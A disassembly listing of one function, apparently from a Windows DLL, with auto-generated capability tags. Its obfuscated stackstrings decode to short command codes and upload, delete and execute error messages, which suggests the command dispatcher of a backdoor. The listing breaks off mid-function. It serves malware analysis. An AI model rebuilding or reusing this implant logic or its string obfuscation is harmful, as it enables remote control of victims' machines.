Function at 0x180009a10
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Move file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1288
call fcn.180041f20
sub rsp, rax
mov rax, qword [0x1800842c0]
xor rax, rsp
mov qword [rsp + 0x1270], rax
mov byte [rsp + 0x54], 0x53
mov byte [rsp + 0x55], 0x54
lea rax, [rsp + 0x56]
mov r8, rax
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x8e0]
call fcn.180004ea0
lea rcx, [rsp + 0x580]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x80]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x1140]
call fcn.180004f90
mov qword [rsp + 0x728], rax
mov byte [rsp + 0x48], 0x47
mov byte [rsp + 0x49], 0x44
lea rax, [rsp + 0x4a]
mov r8, rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x8f0]
call fcn.180004ea0
lea rcx, [rsp + 0x590]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x81]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0x1158]
call fcn.180004f90
mov qword [rsp + 0x4c0], rax
mov byte [rsp + 0x4c], 0x47
mov byte [rsp + 0x4d], 0x50
lea rax, [rsp + 0x4e]
mov r8, rax
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x900]
call fcn.180004ea0
lea rcx, [rsp + 0x5a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x82]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x1170]
call fcn.180004f90
mov qword [rsp + 0x4c8], rax
mov byte [rsp + 0x58], 0x55
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x46
lea rax, [rsp + 0x5b]
mov r8, rax
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x910]
call fcn.180004ea0
lea rcx, [rsp + 0x5b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x83]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5b0]
lea rcx, [rsp + 0x1188]
call fcn.180004f90
mov qword [rsp + 0x4d0], rax
mov byte [rsp + 0x5c], 0x52
mov byte [rsp + 0x5d], 0x55
mov byte [rsp + 0x5e], 0x46
lea rax, [rsp + 0x5f]
mov r8, rax
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0x7c0]
call fcn.180004ea0
lea rcx, [rsp + 0x5c0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x84]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0x11a0]
call fcn.180004f90
mov qword [rsp + 0x4d8], rax
mov byte [rsp + 0x60], 0x53
mov byte [rsp + 0x61], 0x44
mov byte [rsp + 0x62], 0x46
lea rax, [rsp + 0x63]
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x7d0]
call fcn.180004ea0
lea rcx, [rsp + 0x5d0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x85]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x11b8]
call fcn.180004f90
mov qword [rsp + 0x4e0], rax
mov byte [rsp + 0x64], 0x44
mov byte [rsp + 0x65], 0x45
mov byte [rsp + 0x66], 0x4c
lea rax, [rsp + 0x67]
mov r8, rax
lea rdx, [rsp + 0x64]
lea rcx, [rsp + 0x7e0]
call fcn.180004ea0
lea rcx, [rsp + 0x5e0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x86]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x11d0]
call fcn.180004f90
mov qword [rsp + 0x4e8], rax
mov byte [rsp + 0x50], 0x45
mov byte [rsp + 0x51], 0x58
lea rax, [rsp + 0x52]
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x7f0]
call fcn.180004ea0
lea rcx, [rsp + 0x5f0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x87]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x5f0]
lea rcx, [rsp + 0x11e8]
call fcn.180004f90
mov qword [rsp + 0x4f0], rax
mov byte [rsp + 0x68], 0x43
mov byte [rsp + 0x69], 0x44
mov byte [rsp + 0x6a], 0x49
lea rax, [rsp + 0x6b]
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x800]
call fcn.180004ea0
lea rcx, [rsp + 0x600]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x88]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x1200]
call fcn.180004f90
mov qword [rsp + 0x4f8], rax
mov byte [rsp + 0x6c], 0x44
mov byte [rsp + 0x6d], 0x44
mov byte [rsp + 0x6e], 0x49
lea rax, [rsp + 0x6f]
mov r8, rax
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x8d0]
call fcn.180004ea0
lea rcx, [rsp + 0x610]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x89]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0x1218]
call fcn.180004f90
mov qword [rsp + 0x500], rax
mov byte [rsp + 0x70], 0x52
mov byte [rsp + 0x71], 0x46
mov byte [rsp + 0x72], 0x49
lea rax, [rsp + 0x73]
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x810]
call fcn.180004ea0
lea rcx, [rsp + 0x620]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x8a]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x1230]
call fcn.180004f90
mov qword [rsp + 0x508], rax
mov byte [rsp + 0x74], 0x52
mov byte [rsp + 0x75], 0x44
mov byte [rsp + 0x76], 0x49
lea rax, [rsp + 0x77]
mov r8, rax
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0x820]
call fcn.180004ea0
lea rcx, [rsp + 0x630]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x8b]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x630]
lea rcx, [rsp + 0x1248]
call fcn.180004f90
nop
lea rax, [rsp + 0x1260]
mov r8, rax
lea rdx, [rsp + 0x1140]
lea rcx, [rsp + 0x830]
call fcn.180004ea0
lea rcx, [rsp + 0x640]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x8c]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0xa8]
call fcn.18000f870
mov qword [rsp + 0x510], rax
lea r9, [fcn.180003930]
mov r8d, 0xc
mov edx, 0x18
lea rcx, [rsp + 0x1140]
call fcn.1800416e8
nop
mov ecx, 0x20
call fcn.18004133c
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
je 0x180009ffa
mov rcx, qword [rsp + 0xc8]
call fcn.1800099e0
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xd0], rax
jmp 0x18000a006
mov qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x20]
call fcn.1800119c0
nop
mov ecx, 1
call fcn.18004133c
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
je 0x18000a068
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xe0], rax
jmp 0x18000a074
mov qword [rsp + 0xe0], 0
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x40]
call fcn.1800119c0
nop
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 8
mov rdx, rax
lea rcx, [rsp + 0xa18]
call fcn.180016280
mov qword [rsp + 0x518], rax
xor edx, edx
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x100]
mov r8, rcx
lea rdx, [rsp + 0xa58]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x3d], al
lea rcx, [rsp + 0xa58]
call fcn.180004630
movzx eax, byte [rsp + 0x3d]
test eax, eax
je 0x18000a142
mov rcx, qword [rsp + 0x12a0]
call fcn.18000c110
nop
jmp 0x18000c0a3
mov edx, 1
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x110]
mov r8, rcx
lea rdx, [rsp + 0xa78]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0xa78]
call fcn.180004630
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x18000a1cb
mov rcx, qword [rsp + 0x12a0]
call fcn.18000c110
nop
jmp 0x18000c0a3
mov edx, 2
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x120]
mov r8, rcx
lea rdx, [rsp + 0xa98]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x29], al
lea rcx, [rsp + 0xa98]
call fcn.180004630
movzx eax, byte [rsp + 0x29]
test eax, eax
je 0x18000a276
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0xe8
mov rdx, rax
mov rcx, qword [rsp + 0x12a0]
call fcn.18000c7b0
nop
jmp 0x18000c0a3
mov edx, 3
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x130]
mov r8, rcx
lea rdx, [rsp + 0xab8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x138], rax
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x2a], al
lea rcx, [rsp + 0xab8]
call fcn.180004630
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x18000ab03
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x28
mov rdx, rax
lea rcx, [rsp + 0xa38]
call fcn.180016280
mov qword [rsp + 0x520], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
lea rdx, [rsp + 0xa38]
mov rcx, rax
call fcn.180022f90
mov byte [rsp + 0x2b], al
movzx eax, byte [rsp + 0x2b]
test eax, eax
je 0x18000a637
lea rcx, [rsp + 0x40]
call fcn.180002730
lea r8, [rsp + 0xa38]
lea rdx, [rsp + 0xad8]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
call fcn.180006b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000a3a1
mov dword [rsp + 0xa0], 1
jmp 0x18000a3ac
mov dword [rsp + 0xa0], 0
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x2c], al
lea rcx, [rsp + 0xad8]
call fcn.180006cb0
movzx eax, byte [rsp + 0x2c]
test eax, eax
je 0x18000a60e
mov byte [rsp + 0x9b8], 0x45
mov byte [rsp + 0x9b9], 0x72
mov byte [rsp + 0x9ba], 0x72
mov byte [rsp + 0x9bb], 0x6f
mov byte [rsp + 0x9bc], 0x72
mov byte [rsp + 0x9bd], 0x20
mov byte [rsp + 0x9be], 0x55
mov byte [rsp + 0x9bf], 0x70
mov byte [rsp + 0x9c0], 0x6c
mov byte [rsp + 0x9c1], 0x6f
mov byte [rsp + 0x9c2], 0x61
mov byte [rsp + 0x9c3], 0x64
mov byte [rsp + 0x9c4], 0x6f
mov byte [rsp + 0x9c5], 0x6e
mov byte [rsp + 0x9c6], 0x67
mov byte [rsp + 0x9c7], 0x20
mov byte [rsp + 0x9c8], 0x66
mov byte [rsp + 0x9c9], 0x69
mov byte [rsp + 0x9ca], 0x6c
mov byte [rsp + 0x9cb], 0x65
mov byte [rsp + 0x9cc], 0x20
mov byte [rsp + 0x9cd], 0x2c
mov byte [rsp + 0x9ce], 0x20
mov byte [rsp + 0x9cf], 0x43
mov byte [rsp + 0x9d0], 0x6f
mov byte [rsp + 0x9d1], 0x64
mov byte [rsp + 0x9d2], 0x65
mov byte [rsp + 0x9d3], 0x20
mov byte [rsp + 0x9d4], 0x3a
mov byte [rsp + 0x9d5], 0x20
lea rax, [rsp + 0x9d6]
mov r8, rax
lea rdx, [rsp + 0x9b8]
lea rcx, [rsp + 0x840]
call fcn.180004ea0
lea rcx, [rsp + 0x650]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x8d]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x748]
call fcn.180004f90
mov qword [rsp + 0x528], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xb38]
call fcn.180004660
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x748]
lea rdx, [rsp + 0xb18]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x160], rax
mov r8, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0xaf8]
call fcn.180011a20
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x170], rax
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xaf8]
call fcn.180004630
nop
lea rcx, [rsp + 0xb18]
call fcn.180004630
nop
lea rcx, [rsp + 0xb38]
call fcn.180004630
nop
lea rcx, [rsp + 0x748]
call fcn.180003930
nop
mov dword [rsp + 0xc0], 0x1f4
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x530]
call fcn.180005270
mov rcx, rax
call fcn.180005290
nop
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x128
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov r8, qword [rsp + 0x178]
lea rdx, [rsp + 0xa38]
mov rcx, rax
call fcn.180022df0
mov byte [rsp + 0x2d], al
movzx eax, byte [rsp + 0x2d]
test eax, eax
jne 0x18000a8cf
mov byte [rsp + 0x9d8], 0x45
mov byte [rsp + 0x9d9], 0x72
mov byte [rsp + 0x9da], 0x72
mov byte [rsp + 0x9db], 0x6f
mov byte [rsp + 0x9dc], 0x72
mov byte [rsp + 0x9dd], 0x20
mov byte [rsp + 0x9de], 0x55
mov byte [rsp + 0x9df], 0x70
mov byte [rsp + 0x9e0], 0x6c
mov byte [rsp + 0x9e1], 0x6f
mov byte [rsp + 0x9e2], 0x61
mov byte [rsp + 0x9e3], 0x64
mov byte [rsp + 0x9e4], 0x6f
mov byte [rsp + 0x9e5], 0x6e
mov byte [rsp + 0x9e6], 0x67
mov byte [rsp + 0x9e7], 0x20
mov byte [rsp + 0x9e8], 0x66
mov byte [rsp + 0x9e9], 0x69
mov byte [rsp + 0x9ea], 0x6c
mov byte [rsp + 0x9eb], 0x65
mov byte [rsp + 0x9ec], 0x20
mov byte [rsp + 0x9ed], 0x2c
mov byte [rsp + 0x9ee], 0x20
mov byte [rsp + 0x9ef], 0x43
mov byte [rsp + 0x9f0], 0x6f
mov byte [rsp + 0x9f1], 0x64
mov byte [rsp + 0x9f2], 0x65
mov byte [rsp + 0x9f3], 0x20
mov byte [rsp + 0x9f4], 0x3a
mov byte [rsp + 0x9f5], 0x20
lea rax, [rsp + 0x9f6]
mov r8, rax
lea rdx, [rsp + 0x9d8]
lea rcx, [rsp + 0x850]
call fcn.180004ea0
lea rcx, [rsp + 0x660]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x78]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x730]
call fcn.180004f90
mov qword [rsp + 0x538], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xb98]
call fcn.180004660
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x730]
lea rdx, [rsp + 0xb78]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x198], rax
mov r8, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x198]
lea rcx, [rsp + 0xb58]
call fcn.180011a20
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1a8], rax
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xb58]
call fcn.180004630
nop
lea rcx, [rsp + 0xb78]
call fcn.180004630
nop
lea rcx, [rsp + 0xb98]
call fcn.180004630
nop
lea rcx, [rsp + 0x730]
call fcn.180003930
nop
jmp 0x18000aab5
mov byte [rsp + 0x920], 0x53
mov byte [rsp + 0x921], 0x75
mov byte [rsp + 0x922], 0x63
mov byte [rsp + 0x923], 0x63
mov byte [rsp + 0x924], 0x65
mov byte [rsp + 0x925], 0x73
mov byte [rsp + 0x926], 0x73
mov byte [rsp + 0x927], 0x46
mov byte [rsp + 0x928], 0x75
mov byte [rsp + 0x929], 0x6c
mov byte [rsp + 0x92a], 0x20
mov byte [rsp + 0x92b], 0x55
mov byte [rsp + 0x92c], 0x70
mov byte [rsp + 0x92d], 0x6c
mov byte [rsp + 0x92e], 0x6f
mov byte [rsp + 0x92f], 0x61
mov byte [rsp + 0x930], 0x64
mov byte [rsp + 0x931], 0x20
lea rax, [rsp + 0x932]
mov r8, rax
lea rdx, [rsp + 0x920]
lea rcx, [rsp + 0x860]
call fcn.180004ea0
lea rcx, [rsp + 0x670]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x79]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x710]
call fcn.180004f90
mov qword [rsp + 0x540], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
lea r8, [rsp + 0xa38]
lea rdx, [rsp + 0xbf8]
mov rcx, rax
call fcn.180022b80
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x710]
lea rdx, [rsp + 0xbd8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c8], rax
mov r8, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0xbb8]
call fcn.180011a20
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xbb8]
call fcn.180004630
nop
lea rcx, [rsp + 0xbd8]
call fcn.180004630
nop
lea rcx, [rsp + 0xbf8]
call fcn.180004630
nop
lea rcx, [rsp + 0x710]
call fcn.180003930
nop
lea rcx, [rsp + 0xa38]
call fcn.180004630
nop
jmp 0x18000aac5
jmp 0x18000aafe
jmp 0x18000c0a3
mov edx, 4
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x230]
mov r8, rcx
lea rdx, [rsp + 0xc98]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x238], rax
mov rdx, qword [rsp + 0x238]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x2e], al
lea rcx, [rsp + 0xc98]
call fcn.180004630
movzx eax, byte [rsp + 0x2e]
test eax, eax
je 0x18000abb6
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x88
mov rdx, rax
mov rcx, qword [rsp + 0x12a0]
call fcn.18000dbe0
mov byte [rsp + 0x2f], al
movzx eax, byte [rsp + 0x2f]
jmp 0x18000c0a3
mov edx, 5
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x240]
mov r8, rcx
lea rdx, [rsp + 0xcb8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x248], rax
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x30], al
lea rcx, [rsp + 0xcb8]
call fcn.180004630
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x18000ac91
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x88
mov qword [rsp + 0x250], rax
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x48
mov rcx, qword [rsp + 0x250]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x12a0]
call fcn.18000d460
nop
jmp 0x18000c0a3
mov edx, 6
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + 0x258]
mov r8, rcx
lea rdx, [rsp + 0xcd8]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x260], rax
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x31], al
lea rcx, [rsp + 0xcd8]
call fcn.180004630
movzx eax, byte [rsp + 0x31]
test eax, eax
je 0x18000afb3
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x48
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x268]
mov r8, rcx
lea rdx, [rsp + 0xcf8]
mov rcx, rax
call fcn.180021e50
mov qword [rsp + 0x270], rax
mov rcx, qword [rsp + 0x270]
call fcn.180006b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000ad84
mov dword [rsp + 0xa4], 1
jmp 0x18000ad8f
mov dword [rsp + 0xa4], 0
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x32], al
lea rcx, [rsp + 0xcf8]
call fcn.180006cb0
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x18000afae
mov byte [rsp + 0x950], 0x44
mov byte [rsp + 0x951], 0x65
mov byte [rsp + 0x952], 0x6c
mov byte [rsp + 0x953], 0x65
mov byte [rsp + 0x954], 0x74
mov byte [rsp + 0x955], 0x65
mov byte [rsp + 0x956], 0x46
mov byte [rsp + 0x957], 0x69
mov byte [rsp + 0x958], 0x6c
mov byte [rsp + 0x959], 0x65
mov byte [rsp + 0x95a], 0x20
mov byte [rsp + 0x95b], 0x45
mov byte [rsp + 0x95c], 0x72
mov byte [rsp + 0x95d], 0x72
mov byte [rsp + 0x95e], 0x6f
mov byte [rsp + 0x95f], 0x72
mov byte [rsp + 0x960], 0x20
mov byte [rsp + 0x961], 0x43
mov byte [rsp + 0x962], 0x6f
mov byte [rsp + 0x963], 0x64
mov byte [rsp + 0x964], 0x65
mov byte [rsp + 0x965], 0x20
lea rax, [rsp + 0x966]
mov r8, rax
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x870]
call fcn.180004ea0
lea rcx, [rsp + 0x680]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x7a]
call fcn.180002740
mov r8, rax
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x6f8]
call fcn.180004f90
mov qword [rsp + 0x548], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xd58]
call fcn.180004660
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
lea r8, [rsp + 0x6f8]
lea rdx, [rsp + 0xd38]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x290], rax
mov r8, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0xd18]
call fcn.180011a20
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x12a0]
call fcn.18000e150
nop
lea rcx, [rsp + 0xd18]
call fcn.180004630
nop
lea rcx, [rsp + 0xd38]
call fcn.180004630
nop
lea rcx, [rsp + 0xd58]
call fcn.180004630
nop
lea rcx, [rsp + 0x6f8]
call fcn.180003930
nop
jmp 0x18000c0a3
mov edx, 7
lea rcx, [rsp + 0xa8]
call fcn.18000f820
mov qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin], rax
lea rcx, [rsp + 0x20]
call fcn.180002730
mov rcx, qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
mov r8, rcx
lea rdx, [rsp + 0xd78]
mov rcx, rax
call fcn.18003d170
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0xa18]
call fcn.1800119f0
mov byte [rsp + 0x33], al
lea rcx, [rsp + 0xd78]
call fcn.180004630
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x18000b2a6
mov rcx, qword [rsp + 0x12a8]
call fcn.1800053f0
add rax, 8
mov rcx, rax
call fcn.180002730
add rax, 0x48
mov qword [rsp + 0x2b8], rax
lea rcx, [rsp + 0x40]
call fcn.180002730
mov rcx, qword [rsp + 0x2b8]
mov rdx, rcx
mov rcx, rax
call fcn.180021730
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x18000b2a1
mov byte [rsp + 0x998], 0x45
mov byte [rsp + 0x999], 0x78
mov byte [rsp + 0x99a], 0x65
mov byte [rsp + 0x99b], 0x63
mov byte [rsp + 0x99c], 0x75
mov byte [rsp + 0x99d], 0x74
mov byte [rsp + 0x99e], 0x65
mov byte [rsp + 0x99f], 0x20
mov byte [rsp + 0x9a0], 0x66
mov byte [rsp + 0x9a1], 0x69
mov byte [rsp + 0x9a2], 0x6c
mov byte [rsp + 0x9a3], 0x65
mov byte [rsp + 0x9a4], 0x20
mov byte [rsp + 0x9a5], 0x65
mov byte [rsp + 0x9a6], 0x72
mov byte [rsp + 0x9a7], 0x72
mov byte [rsp + 0x9a8], 0x6f
mov byte [rsp + 0x9a9], 0x72
mov byte [rsp + 0x9aa], 0x20
mov byte [rsp + 0x9ab], 0x43
mov byte [rsp + 0x9ac], 0x6f
mov byte [rsp + 0x9ad], 0x64
mov byte [rsp + 0x9ae], 0x65
mov byte [rsp + 0x9af], 0x20
mov byte [rsp + 0x9b0], 0x3a
mov byte [rsp + 0x9b1], 0x20
mov byte [rsp + 0x9b2], 0x20
lea rax, [rsp + 0x9b3]
mov r8, rax
lea rdx, [rsp + 0x998]
lea rcx, [rsp + 0x880]
call fcn.180004ea0
lea rcx, [rsp + 0x690]
